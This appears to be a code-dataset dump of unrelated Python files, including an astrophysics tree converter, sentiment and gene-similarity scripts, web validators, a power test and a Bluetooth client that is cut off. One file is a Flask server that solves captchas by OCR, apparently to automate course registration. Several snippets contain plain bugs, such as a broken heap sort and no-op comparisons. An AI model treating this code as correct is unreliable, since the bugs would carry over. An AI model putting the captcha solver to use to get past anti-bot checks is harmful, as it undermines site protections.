get_aggregate_forest_info(trees_and_locations, rank)\n\n # If `max_nforests` was passed, then we convert at most\n # the first `max_nforests` -- MS 27/07/2020\n if max_nforests:\n nforests = min(max_nforests, forest_info.shape[0])\n forest_info = forest_info[0:nforests]\n\n # Distribute the forests over ntasks\n (forest_start, forest_stop) = distribute_array_over_ntasks(forest_info['Input_ForestNbytes'], rank, ntasks)\n\n forest_ntrees_offset = forest_info['Ntrees'][:].cumsum()\n tree_start = 0\n if forest_start >= 1:\n tree_start = forest_ntrees_offset[forest_start - 1]\n\n # tree_stop is not-inclusive, and can be directly used in a\n # slicing context\n tree_stop = forest_ntrees_offset[forest_stop]\n print(f\"[Rank={rank}]: Processing trees [tree_start, tree_stop) = \"\n f\"[{tree_start}, {tree_stop}) totntrees = {ntrees}\")\n\n # Now we can start converting the forests\n # *Note* ``forest_stop`` is inclusive but since we are slicing,\n # we need to account for the python convention hence, the slice\n # on ``forest_info`` goes up to ``forest_stop + 1``\n _convert_ctrees_forest_range(forest_info[forest_start:forest_stop+1],\n trees_and_locations[tree_start:tree_stop],\n rank, outputdir=outputdir,\n output_filebase=output_filebase,\n write_halo_props_cont=write_halo_props_cont,\n fields=fields,\n drop_fields=drop_fields,\n truncate=truncate,\n compression=compression,\n buffersize=buffersize,\n use_pread=use_pread,\n show_progressbar=show_progressbar)\n\n truncate = False\n nconverted += 1\n if rank == 0:\n print(f\"[Rank={rank}]: Converting a single set of (forests, \"\n f\"locations) over {ntasks} tasks...done. Converted \"\n f\"{nconverted} out of {nfiles} sets of files\")\n\n # Done converting all files. The barrier is necessary to\n # ensure that the container file is created *after* all the\n # data have been converted\n if comm:\n comm.Barrier()\n\n if rank != 0:\n return True\n\n # Create the main file that contains the other files as (hdf5-sym-)links\n fname = f'{outputdir}/{output_filebase}.h5'\n outfiles = [f'{outputdir}/{output_filebase}_{itask}.h5'\n for itask in range(ntasks)]\n update_container_h5_file(fname, outfiles,\n standard_consistent_trees)\n\n t1 = time.perf_counter()\n print(f\"Converting {nfiles} sets of (forests, locations) files \"\n f\"over {ntasks} tasks ...done. Time taken = {t1-tstart:.2f} seconds\")\n\n return True\n","repo_name":"uchuuproject/uchuutools","sub_path":"uchuutools/converters/convert_ascii_ctrees_to_h5.py","file_name":"convert_ascii_ctrees_to_h5.py","file_ext":"py","file_size_in_byte":39853,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"82"} +{"seq_id":"32600375896","text":"# Sarah M. Alghamdi\n#------------------------------------\n# args\n# sim_file disease_file genes_file outputs_prefix\n#------------------------------------\nimport json\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport math\n#------------------------------------\nimport json\nimport gensim\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport math\n#------------------------------------\n# separate the vectors\n\n#init = str(sys.argv[1])\n\n#from WV model:\n#load mosule:\n\n\nembedding_model = sys.argv[2]\nword2vec_model=gensim.models.Word2Vec.load(embedding_model)\nword_vocabs = word2vec_model.wv.vocab\n\nHGs={}\nHDs={}\n\nfor key in word_vocabs:\n if(key.isdigit()):\n HGs[key] = word2vec_model[key].tolist()\n\n elif((\"OMIM\" in key) and (\"http\" not in key)):\n HDs[key] = word2vec_model[key].tolist()\n\n\nwith open(init+'HG.json', 'w') as fp:\n json.dump(HGs, fp)\nwith open(init+'HD.json', 'w') as fp:\n json.dump(HDs, fp)\n# compute the gene disease similarity matrices\nHDs_vectors=[]\nHDs_keys = list(HDs.keys())\nprint(len(HDs_keys))\nfor key in HDs_keys:\n HDs_vectors.append(HDs[key]) \n\nwith open(init+'_d_keys.json', 'w') as fp:\n json.dump(HDs_keys, fp)\n\nHGs_vectors=[]\nHGs_keys = list(HGs.keys())\n\nfor key in HGs_keys:\n HGs_vectors.append(HGs[key])\nprint(len(HGs_keys))\nwith open(init+'_g_keys.json', 'w') as fp:\n json.dump(HGs_keys, fp)\n\nprint(len(HGs_vectors), len(HDs_vectors))\nOGs_HDs= cosine_similarity(np.array(HGs_vectors),np.array(HDs_vectors))\nnp.save(init+'_dl_sim.npy',OGs_HDs)\n","repo_name":"bio-ontology-research-group/mo-phenotype-analysis","sub_path":"src/Create_input_from_gensim_vectors_human_genes_test.py","file_name":"Create_input_from_gensim_vectors_human_genes_test.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"8412710962","text":"#vader operates on full sentences that have not been processed for punctuation or anything else similar\nimport nltk\nnltk.download(\"vader_lexicon\")\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nimport pandas as pd\n\ndef main():\n vader = SentimentIntensityAnalyzer()\n \n #train = pd.read_csv('train.csv')\n test = pd.read_csv('test.csv')\n \n vaderText = test['text']\n vaderID = test['textID']\n \n #writing the initial file\n f = open(\"/kaggle/working/submission.csv\", \"w\")\n f.write(\"textID,selected_text\")\n \n #3534 in test set\n #The plan is to:\n #vader analysis each sentence, then strip off one word from front to back at a time\n #each iteration will compare to the previous one's compound score, and if the compound score increases we repeat\n #if the compound score decreases, we revert back to the previous string and use that one\n #if the compound score stays the same, we repeat the iteration as if it increased\n for i in range (3534):\n compoundBefore = abs(float(vader.polarity_scores(vaderText[i])['compound']))\n compoundAfter = compoundBefore\n frontBack = 1\n splitSentence = vaderText[i].split()\n joinSentence = \" \".join(splitSentence)\n #check for whitespace/blanks or full neutrality to just skip the current sentence\n if (vaderText[i] == \"\" or vaderText[i].isspace() or compoundBefore == 0):\n #write data to file\n f.write(\"\\n\" + vaderID[i] + \",\\\"\" + joinSentence + \"\\\"\")\n continue\n else:\n #Use frontBack to shave off either the front or the back of the word, 1 is front and 2 is back\n while (compoundAfter >= compoundBefore):\n #remove front\n if (frontBack == 1):\n frontBack == 2\n popped = splitSentence.pop(0)\n joinSentence = \" \".join(splitSentence)\n compoundAfter = abs(float(vader.polarity_scores(joinSentence)['compound']))\n if (compoundAfter < compoundBefore):\n #previous score was better so we return the popped value to where it belongs and then exit the while loop\n splitSentence.insert(0, popped)\n break\n else:\n compoundBefore = compoundAfter\n #remove back\n else:\n frontBack == 1\n popped = splitSentence.pop()\n joinSentence = \" \".join(splitSentence)\n compoundAfter = abs(float(vader.polarity_scores(joinSentence)['compound']))\n if (compoundAfter < compoundBefore):\n #previous score was better so we return the popped value to where it belongs and then exit the while loop\n splitSentence.append(popped)\n break\n else:\n compoundBefore = compoundAfter\n #while loop is complete, splitSentence holds our truncated value that we want\n joinSentence = \" \".join(splitSentence)\n f.write(\"\\n\" + vaderID[i] + \",\\\"\" + joinSentence + \"\\\"\")\n","repo_name":"sasmazonur/Machine-Learning-Data-Mining","sub_path":"Kaggle Twitter Sentiment Analysis Challange/src/vader.py","file_name":"vader.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39353634343","text":"from fastapi import HTTPException\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom app.crud.charityproject import charity_crud\nfrom app.models import CharityProject\n\n\nasync def check_name_duplicate(\n project_name: str,\n session: AsyncSession,\n) -> None:\n proj_id = await charity_crud.get_project_id_by_name(project_name, session)\n if proj_id is not None:\n raise HTTPException(\n status_code=400,\n detail='Проект с таким именем уже существует!',\n )\n\n\nasync def check_project_before_edit(\n project_id: int,\n session: AsyncSession\n) -> CharityProject:\n project = await charity_crud.get(\n obj_id=project_id, session=session\n )\n if not project:\n raise HTTPException(status_code=404, detail='Проект не найден!')\n return project\n\n\nasync def if_proj_closed(\n project_id: int,\n session: AsyncSession,\n):\n project = await charity_crud.get(obj_id=project_id, session=session)\n if project.fully_invested:\n raise HTTPException(\n status_code=400,\n detail='Закрытый проект нельзя редактировать!'\n )\n\n\nasync def if_donations_poured(\n project_id: int,\n session: AsyncSession,\n):\n project = await charity_crud.get(obj_id=project_id, session=session)\n if project.invested_amount > 0:\n raise HTTPException(\n status_code=400,\n detail='В проект были внесены средства, не подлежит удалению!'\n )\n\n\nasync def if_new_sum_more_than_old(\n new_sum: int,\n project_id: int,\n session: AsyncSession,\n):\n project = await charity_crud.get(obj_id=project_id, session=session)\n if new_sum < project.invested_amount:\n raise HTTPException(\n status_code=422,\n detail='Нельзя установить сумму меньше уже вложенной!'\n )\n","repo_name":"buschwaker/cat_charity_fund","sub_path":"app/api/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15063429130","text":"import logging\nimport re\nimport time\n\nfrom autotest_lib.client.bin import utils\nfrom autotest_lib.client.common_lib.cros import chrome\nfrom autotest_lib.client.common_lib.cros import power_load_util\nfrom autotest_lib.client.cros.input_playback import keyboard\nfrom autotest_lib.client.cros.power import power_status\nfrom autotest_lib.client.cros.power import power_test\n\nclass power_VideoCall(power_test.power_Test):\n \"\"\"class for power_VideoCall test.\"\"\"\n version = 1\n\n video_url = 'http://crospower.page.link/power_VideoCall'\n doc_url = 'http://doc.new'\n\n def initialize(self, seconds_period=20., pdash_note='',\n force_discharge=False):\n \"\"\"initialize method.\"\"\"\n super(power_VideoCall, self).initialize(seconds_period=seconds_period,\n pdash_note=pdash_note,\n force_discharge=force_discharge)\n self._username = power_load_util.get_username()\n self._password = power_load_util.get_password()\n\n def run_once(self, duration=7200, preset=''):\n \"\"\"run_once method.\n\n @param duration: time in seconds to display url and measure power.\n @param preset: preset of the camera record. Possible values are\n 'ultra' : 1080p30_vp9,\n 'high' : 720p30_vp9,\n 'medium' : 720p24_vp8,\n 'low' : 360p24_vp8\n If not supplied, preset will be determined automatically.\n \"\"\"\n\n if not preset:\n preset = self._get_camera_preset()\n\n extra_browser_args = self.get_extra_browser_args_for_camera_test()\n with keyboard.Keyboard() as keys,\\\n chrome.Chrome(init_network_controller=True,\n gaia_login=True,\n username=self._username,\n password=self._password,\n extra_browser_args=extra_browser_args,\n autotest_ext=True) as cr:\n\n # Move existing window to left half and open video page\n tab_left = cr.browser.tabs[0]\n tab_left.Activate()\n keys.press_key('alt+[')\n logging.info('Navigating left window to %s', self.video_url)\n tab_left.Navigate(self.video_url)\n tab_left.WaitForDocumentReadyStateToBeComplete()\n\n # We need to make sure that default camera preset was init properly\n # before changing preset or else MediaRecorder won't get torn down\n # properly. So capture the init time with the default preset and\n # then switch to appropriate preset later.\n video_init_time = power_status.VideoFpsLogger.time_until_ready(\n tab_left, num_video=5)\n self.keyvals['video_init_time'] = video_init_time\n tab_left.EvaluateJavaScript('setPreset(\"%s\")' % preset)\n\n # Wait for camera to init for the new preset.\n power_status.VideoFpsLogger.time_until_ready(tab_left, num_video=5)\n\n # Open Google Doc on right half\n logging.info('Navigating right window to %s', self.doc_url)\n cmd = 'chrome.windows.create({ url : \"%s\" });' % self.doc_url\n cr.autotest_ext.EvaluateJavaScript(cmd)\n tab_right = cr.browser.tabs[-1]\n tab_right.Activate()\n keys.press_key('alt+]')\n tab_right.WaitForDocumentReadyStateToBeComplete()\n time.sleep(5)\n\n self._vlog = power_status.VideoFpsLogger(tab_left,\n seconds_period=self._seconds_period,\n checkpoint_logger=self._checkpoint_logger)\n self._meas_logs.append(self._vlog)\n\n # Start typing number block\n self.start_measurements()\n while time.time() - self._start_time < duration:\n keys.press_key('number_block')\n self.status.refresh()\n if self.status.is_low_battery():\n logging.info(\n 'Low battery, stop test early after %.0f minutes',\n (time.time() - self._start_time) / 60)\n break\n self.collect_keypress_latency(cr)\n\n def _get_camera_preset(self):\n \"\"\"Return camera preset appropriate to hw spec.\n\n Preset will be determined using this logic.\n - Newer Intel Core U-series CPU with fan -> 'high'\n - AMD Ryzen CPU with fan -> 'high'\n - Above without fan -> 'medium'\n - High performance ARM -> 'medium'\n - Other Intel Core CPU -> 'medium'\n - AMD APU -> 'low'\n - Intel N-series CPU -> 'low'\n - Older ARM CPU -> 'low'\n - Other CPU -> 'low'\n \"\"\"\n HIGH_IF_HAS_FAN_REGEX = r'''\n Intel[ ]Core[ ]i[357]-[6-9][0-9]{3}U| # Intel Core i7-8650U\n Intel[ ]Core[ ]i[357]-1[0-9]{4}U| # Intel Core i7-10510U\n AMD[ ]Ryzen[ ][357][ ][3-9][0-9]{3}C| # AMD Ryzen 7 3700C\n Genuine[ ]Intel[ ]0000 # Unrelease CPU\n '''\n MEDIUM_REGEX = r'''\n Intel[ ]Core[ ][im][357]-[0-9]{4,5}[UY]| # Intel Core i5-8200Y\n Intel[ ]Core[ ][im][357]-[67]Y[0-9]{2}| # Intel Core m7-6Y75\n Intel[ ]Pentium[ ][0-9]{4,5}[UY]| # Intel Pentium 6405U\n Intel[ ]Celeron[ ][0-9]{4,5}[UY]| # Intel Celeron 5205U\n qcom[ ]sc[0-9]{4}| # qcom sc7180\n mediatek[ ]mt819[0-9] # mediatek mt8192\n '''\n cpu_name = utils.get_cpu_name()\n\n if re.search(HIGH_IF_HAS_FAN_REGEX, cpu_name, re.VERBOSE):\n if power_status.has_fan():\n return 'high'\n return 'medium'\n\n if re.search(MEDIUM_REGEX, cpu_name, re.VERBOSE):\n return 'medium'\n\n return 'low'\n","repo_name":"Fimics/android12_pixel4xl","sub_path":"external/autotest/client/site_tests/power_VideoCall/power_VideoCall.py","file_name":"power_VideoCall.py","file_ext":"py","file_size_in_byte":5954,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"13571364227","text":"import os\nimport sys\nimport muggle_ocr\nimport base64,time\nfrom flask import Flask\nfrom flask import request\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\nOCR = muggle_ocr.SDK(model_type=muggle_ocr.ModelType.Captcha)\n\n'''\npost image=<@URLENCODE><@BASE64><@IMG_RAW> to /img2text\n'''\n\n@app.route('/img2text', methods=['post'])\ndef img2text():\n '''\n 接受接口调用者传来的图片内容\n '''\n base64_img = request.get_json(force=True)['image']\n if base64_img:\n \timg_name = save2img(base64_img)\n \treturn identify_img(img_name)\n\n \ndef save2img(base64_img):\n '''\n 将图片数据base64解码保存为文件\n '''\n bin_img = base64.b64decode(base64_img)\n img_name = '%s.png' % time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))\n f = open(img_name,'wb')\n f.write(bin_img)\n f.close()\n return img_name\n\ndef identify_img(img_name):\n '''\n 调用muggler_ocr识别图片\n '''\n with open(img_name,'rb') as img:\n \tpicture_btyes = img.read()\n \timg.close()\n os.remove(img_name)\n result = OCR.predict(image_bytes=picture_btyes)\n print(result, file=sys.stderr)\n return result\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"singularity-s0/fudan_xk_extension","sub_path":"captcha_server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"7190961218","text":"#Autor J. Jesús Beltrán Mundo\r\nimport math\r\n\r\ndef hIzq(i):\r\n return 2*i\r\n\r\ndef hDer(i):\r\n return 2*i+1\r\n\r\ndef intercambia( A, x, y ):\r\n tmp = A[x]\r\n A[x] = A[y]\r\n A[y] = tmp\r\n\r\ndef MaxHeapify(A,i,tamanoHeap):\r\n L=hIzq(i)\r\n R=hDer(i)\r\n if ( L <= tamanoHeap and A[L]>A[i] ):\r\n posMax=L\r\n else:\r\n posMax=i\r\n\r\n if (R <= tamanoHeap and A[R]>A[posMax]):\r\n posMax=R\r\n if (posMax != i):\r\n intercambia(A.i,posMax)\r\n MaxHeapify(A,posMax,tamanoHeap)\r\n\r\ndef construirHeapMaxIni(A,tamanoHeap):\r\n for i in range(math.ceil(tamanoHeap/2) - 1, 0, -1):\r\n MaxHeapify(A,i,tamanoHeap)\r\n\r\ndef ordenacionHeaoSort(A,tamanoHeap):\r\n construirHeapMaxIni(A,tamanoHeap)\r\n for i in range (len(A[1:]), 1, -1):\r\n intercambia(A,1,i)\r\n tamanoHeap=tamanoHeap-1\r\n MaxHeapify(A,1,tamanoHeap)\r\n\r\n","repo_name":"jesusBeltranMundo/Funci-n-BubbleSort","sub_path":"HeapSort.py","file_name":"HeapSort.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2156408323","text":"# Chat Module\r\n# Allows Users to send and receive messages to/from eachother\r\n# Expected JSON Input from All User Messages\r\n# message = {\r\n# \"message_metadata\":\r\n# [\r\n# {\r\n# \"ses_id\": \"###\",\r\n# \"msg_id\": \"###\",\r\n# \"msg_src\": \"###\",\r\n# \"msg_dst\": \"###\",\r\n# \"msg_content\": \"string\",\r\n# \"msg_date\": \"mm/dd/yyyy\"\r\n# }\r\n# ]\r\n# }\r\n\r\nimport json\r\nfrom datetime import datetime\r\n\r\n# Manually Validates Data\r\ndef validate_msg(unvalidated):\r\n\r\n for message in unvalidated['message_metadata']:\r\n session_id = message['ses_id']\r\n message_id = message['msg_id']\r\n src_id = message['msg_src']\r\n dst_id = message['msg_dst']\r\n content = message['msg_content']\r\n message_date = message['msg_date']\r\n\r\n # Validate that msg_src is a number\r\n if isinstance(src_id, int) == False:\r\n return 21, \"Source User ID is not a number value\"\r\n\r\n # Validate that msg_dst is a number\r\n if isinstance(dst_id, int) == False:\r\n return 22, \"Destination User ID is not a number value\"\r\n\r\n # Validate that ses_id is a number\r\n if isinstance(session_id, int) == False:\r\n return 23, \"Session ID is not a number value\"\r\n\r\n # Validate that msg_id is a number\r\n if isinstance(message_id, int) == False:\r\n return 24, \"Message ID is not a number value\"\r\n\r\n # Sanitize Message against SQL Injections\r\n # To Be Done at Later Date\r\n\r\n # Validate that msg_date is in the correct format\r\n try:\r\n dateCheck = datetime.strptime(message_date, \"%m-%d-%Y\")\r\n except ValueError:\r\n return 27, \"Date is not formatted correctly, must be in the format mm-dd-yyyy\"\r\n\r\n validated = unvalidated\r\n return 0, validated\r\n\r\n# Validates Input File, checking for valid file path, JSON structure & Schema\r\ndef validate_input(filename):\r\n try:\r\n with open(filename, 'r') as file:\r\n # json.load() converts JSON to Python Object (type Dict)\r\n rawData = json.load(file)\r\n except IOError as err1:\r\n msg = (\"File IO Error: Couldn't open or write to file (%s).\" % err1)\r\n return 1, msg\r\n except ValueError as err2:\r\n msg = (\"ValueError: JSON data cannot be decoded (%s).\" % err2)\r\n return 2, msg\r\n\r\n returnCode, message = validate_msg(rawData)\r\n\r\n return returnCode, message\r\n","repo_name":"sfagin89/Remote_Patient_Monitoring","sub_path":"chat_module_files/chat_module.py","file_name":"chat_module.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39597835234","text":"import time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\n\ndef main():\n browser_driver = webdriver.Chrome()\n browser_driver.maximize_window()\n browser_driver.get('https://xdclass.net/')\n time.sleep(2)\n # 定位鼠标到元素上面\n bg_config = browser_driver.find_element_by_xpath('/html/body/div/div/div[2]/div[2]/div[1]/ul/li[1]')\n\n ActionChains(browser_driver).move_to_element(bg_config).perform()\n bg_menu = browser_driver.find_element_by_xpath('/html/body/div/div/div[2]/div[2]/div[2]/div[1]/div[2]/a[2]')\n time.sleep(2)\n bg_menu.click()\n time.sleep(5)\n browser_driver.quit()\n\nif __name__ == '__main__':\n main()","repo_name":"nengdaqin/Python","sub_path":"Study/Selenium_Study/Selenium_常用方法/6.2特殊元素定位/hover_menu.py","file_name":"hover_menu.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11040674102","text":"from tkinter import *\r\nimport customtkinter as ck\r\nimport re\r\nfrom tkinter import filedialog\r\n\r\n#### Variables ##\r\ntitle_txt = 'Scripts Converter'\r\nwin_size = '640x480'\r\nlabel_txt = 'Label Text'\r\nbutton_txt = 'Convert'\r\nswitch_txt = 'Switch text'\r\nswitch_output_txt = 'The output is already changed.'\r\npattern = \"[.,?!;:]\"\r\n# pattern = r\"\\W\"\r\nrep = r\"\\n\"\r\n\r\n\r\n### click event ###\r\ndef convert():\r\n\tresult = re.sub(pattern, rep, input_txt.get(1.0, END))\r\n\t# update_result = src_txt.set(f'{result}')\r\n\toutput_txt.delete('1.0', \"end\")\r\n\t# print(output_txt.insert(END, result))\r\n\toutput_txt.insert(END,result)\r\n\r\ndef save_file():\r\n\tresult = re.sub(pattern, rep, input_txt.get(1.0, END))\r\n\tfile = filedialog.asksaveasfilename(\r\n\t\tfiletypes=[('text file', '*.txt'), ('CSV file', '*.csv')],\r\n\t\tdefaultextension= '.txt',\r\n\t\t#initialdir = r'D:/',\r\n\t\ttitle = 'Save As'\r\n\t\t)\r\n\tfob = open(file,'w')\r\n\tfob.write(f\"{result}\")\r\n\tfob.close()\r\n\r\n\r\n#### Elements ##\r\nroot = ck.CTk()\r\nroot.title(title_txt)\r\nroot.geometry(win_size)\r\n\r\nsrc_txt = StringVar()\r\n\r\ninput_txt = Text(\r\n\tmaster=root,\r\n\theight=10,\r\n\twidth=80\r\n\t)\r\n\r\nbutton1 = ck.CTkButton(\r\n\tmaster = root,\r\n\tcommand= convert,\r\n\ttext = button_txt\r\n\t)\r\nbutton2 = ck.CTkButton(\r\n\tmaster = root,\r\n\tcommand = lambda: input_txt.delete(1.0, END),\r\n\ttext = 'Clear'\r\n\t)\r\nbutton3 = ck.CTkButton(\r\n\tmaster = root,\r\n\tcommand = save_file\r\n\t,\r\n\ttext = 'Export To File'\r\n\t)\r\n\r\noutput_txt = Text(root)\r\n\r\n\r\n\r\n### layout ###\r\nbutton1.grid(row=0,column=0)\r\nbutton2.grid(row=0,column=1)\r\nbutton3.grid(row=0,column=2)\r\ninput_txt.grid(row=1, columnspan=3)\r\noutput_txt.grid(row=2, columnspan=3)\r\n\r\n\r\n\r\n\r\n\r\nroot.mainloop()\r\n","repo_name":"clueple/pythonbeginner","sub_path":"essay_to_scripts.py","file_name":"essay_to_scripts.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39545735142","text":"from django.conf import settings\nfrom django.urls import path\nfrom . import views\nfrom django.conf.urls.static import static\n\n\n\nurlpatterns = [\n\n\n path('', views.StockListView.as_view(), name='inventory'),\n path('new', views.StockCreateView.as_view(), name='new-stock'),\n path('stock//edit', views.StockUpdateView.as_view(), name='edit-stock'),\n path('stock//delete', views.StockDeleteView.as_view(), name='delete-stock'),\n path('stock/', views.StockView.as_view(), name='stockdetails'),\n path('stock/', views.StockView.as_view(), name='stockdetails'),\n\n\n path('suppliers/', views.SupplierListView.as_view(), name='suppliers-list'),\n path('suppliers/new', views.SupplierCreateView.as_view(), name='new-supplier'),\n path('suppliers//edit', views.SupplierUpdateView.as_view(), name='edit-supplier'),\n path('suppliers//delete', views.SupplierDeleteView.as_view(), name='delete-supplier'),\n path('suppliers/', views.SupplierView.as_view(), name='supplier'),\n\n path('purchases/', views.PurchaseView.as_view(), name='purchases-list'),\n path('purchases/new', views.SelectSupplierView.as_view(), name='select-supplier'),\n path('purchases/new/', views.PurchaseCreateView.as_view(), name='new-purchase'),\n path('purchases//delete', views.PurchaseDeleteView.as_view(), name='delete-purchase'),\n\n path('sales/', views.SaleView.as_view(), name='sales-list'),\n # path('stockreport/', views.showresult, name='stockreport'),\n path('outwardslip/', views.outwardslip, name='outwardslip'),\n path('inwardslip/', views.inwardslip, name='inwardslip'),\n\n path('export/', views.export_csv, name='stockre'),\n # path('filterrange/', views.showresult,name='stockreport'),\n\n path('sales/new', views.SaleCreateView.as_view(), name='new-sale'),\n path('sales//delete', views.SaleDeleteView.as_view(), name='delete-sale'),\n\n path(\"purchases/\", views.PurchaseBillView.as_view(), name=\"purchase-bill\"),\n path(\"sales/\", views.SaleBillView.as_view(), name=\"sale-bill\"),\n\n # path('Master/', views.categorylist, name='category-list'),\n path('Master/new',views.addcategory, name='addcategory'),\n path('Master/subcategory',views.addsubcategory, name='addsubcategory'),\n path('Master/description',views.adddescription, name='adddescription'),\n\n\n\n path('Master//edit', views.CategoryUpdateView.as_view(), name='update-category'),\n path('Master/deleteproduct/', views.delete_category, name='delete-category'),\n # path('Master/updatecategory//edit', views.update_category, name='update-category'),\n\n\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)\n\n","repo_name":"ranjitshinde123/imdhouse","sub_path":"PycharmProjects/imdapp-master/imdapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13096318214","text":"# @Author : Yuqin Chen\n# @email : yuqinche@usc.edu\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom sklearn.metrics import accuracy_score\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.fc1 = nn.Linear(6, 128)\n self.fc2 = nn.Linear(128, 128)\n self.fc3 = nn.Linear(128, 2)\n self.dropout = nn.Dropout(0.5)\n\n # x represents our data\n def forward(self, x):\n x = self.fc1(x)\n x = F.relu(x)\n # x = self.dropout(x)\n x = self.fc2(x)\n x = F.relu(x)\n x = self.fc3(x)\n # Apply softmax to x\n # output = F.log_softmax(x, -1)\n output = F.softmax(x, -1)\n return output\n\n\ndef load(file):\n data = torch.from_numpy(np.load(file)).float()\n data = torch.where(torch.isnan(data), torch.full_like(data, 0), data)\n return data\n\ndef train():\n # criterion = nn.NLLLoss()\n criterion = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.0001)\n # # test\n # test_out = net(combine_model_train_X[0])\n # print(test_out, better_model_train_Y[0])\n # print(criterion(test_out, better_model_train_Y[0].long()))\n for epoch in range(100):\n # output = model(combine_model_train_X)\n # loss = criterion(output, better_model_train_Y.long())\n output = model(all_X)\n loss = criterion(output, all_Y.long())\n\n # Backward and optimizer\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # better_model_train_Y_pred = torch.argmax(output, dim=1)\n # acc1 = accuracy_score(better_model_train_Y_pred, better_model_train_Y)\n # better_model_test_Y_pred = torch.argmax(model(combine_model_test_X), dim=1)\n # acc2 = accuracy_score(better_model_test_Y_pred, better_model_test_Y)\n all_Y_pred = torch.argmax(output, dim=1)\n acc3 = accuracy_score(all_Y, all_Y_pred)\n print('Epoch: [{}], Loss: {}, All acc: {}'.format(epoch, loss.item(), acc3))\n\n # print('Epoch: [{}], Loss: {}, Train acc: {}, Test acc: {}'.format(epoch, loss.item(), acc1, acc2))\n\n\nif __name__ == '__main__':\n model = Net()\n # print(model)\n combine_model_train_X = load('combine_model_train_X.npy')\n combine_model_test_X = load('combine_model_pred_X.npy')\n better_model_train_Y = load('better_model_train_Y.npy')\n better_model_test_Y = load('tools/better_model_test_Y.npy')\n print(np.shape(combine_model_train_X))\n\n device = torch.device('cuda:0')\n combine_model_train_X.to(device)\n combine_model_test_X.to(device)\n better_model_train_Y.to(device)\n better_model_test_Y.to(device)\n # # model.to(device)\n\n all_X = torch.cat((combine_model_train_X, combine_model_test_X), 0)\n all_Y = torch.cat((better_model_train_Y, better_model_test_Y), 0)\n\n train()\n # better_model_test_Y_pred = torch.argmax(model(combine_model_test_X), dim=1)\n # acc = accuracy_score(better_model_test_Y_pred, better_model_test_Y)\n # print(acc)","repo_name":"chenyuqin98/Data-Mining-Course-Project-Recommendation-System","sub_path":"553/competition/train_NN.py","file_name":"train_NN.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"43619376990","text":"import asyncio\nfrom bleak import BleakScanner, BleakClient\n\ndevice = None\nwrite_characteristic = None\nread_characteristic = None\n\nasync def connect_to_device():\n global device, write_characteristic, read_characteristic\n try:\n print('Requesting Bluetooth Device...')\n\n if device and device.is_connected:\n print('Already connected to device')\n #await send_message()\n return\n\n scanner = BleakScanner()\n await scanner.start()\n\n await asyncio.sleep(2) # Allow time for scanning\n\n connected = False\n while not connected:\n devices = scanner.discovered_devices\n\n for dev in devices:\n if dev.name == 'mpy-uart':\n device = BleakClient(dev)\n try:\n await device.connect()\n connected = True\n break\n except:\n pass\n\n print('Connecting to GATT Server...')\n\n if device is not None:\n await device.connect()\n\n services = device.services\n\n for service in services:\n if str(service.uuid) == '6e400001-b5a3-f393-e0a9-e50e24dcca9e':\n characteristics = service.characteristics\n\n for char in characteristics:\n if str(char.uuid) == '6e400002-b5a3-f393-e0a9-e50e24dcca9e':\n write_characteristic = char\n\n if str(char.uuid) == '6e400003-b5a3-f393-e0a9-e50e24dcca9e':\n read_characteristic = char\n\n print('Enabling notifications...')\n\n if device is not None and read_characteristic is not None and write_characteristic is not None:\n await device.start_notify(read_characteristic.uuid, handle_data)\n\n print('Connected to device')\n\n # Start sending a message\n await send_message()\n except Exception as error:\n print('Error: ' + str(error))\n\ndef handle_data(sender: int, data: bytearray):\n value = bytes(data)\n decoder = 'utf-8'\n decoded_data = value.decode(decoder)\n print('Received: ' + decoded_data)\n\nasync def send_message():\n try:\n message = input('Enter message to send: ')\n encoder = 'utf-8'\n encoded_data = message.encode(encoder)\n\n if write_characteristic is not None:\n await device.write_gatt_char(write_characteristic, encoded_data)\n print('Sent: ' + message)\n else:\n print('Write characteristic not found.')\n except Exception as error:\n print('Error: ' + str(error))\n\nasync def main():\n while True:\n 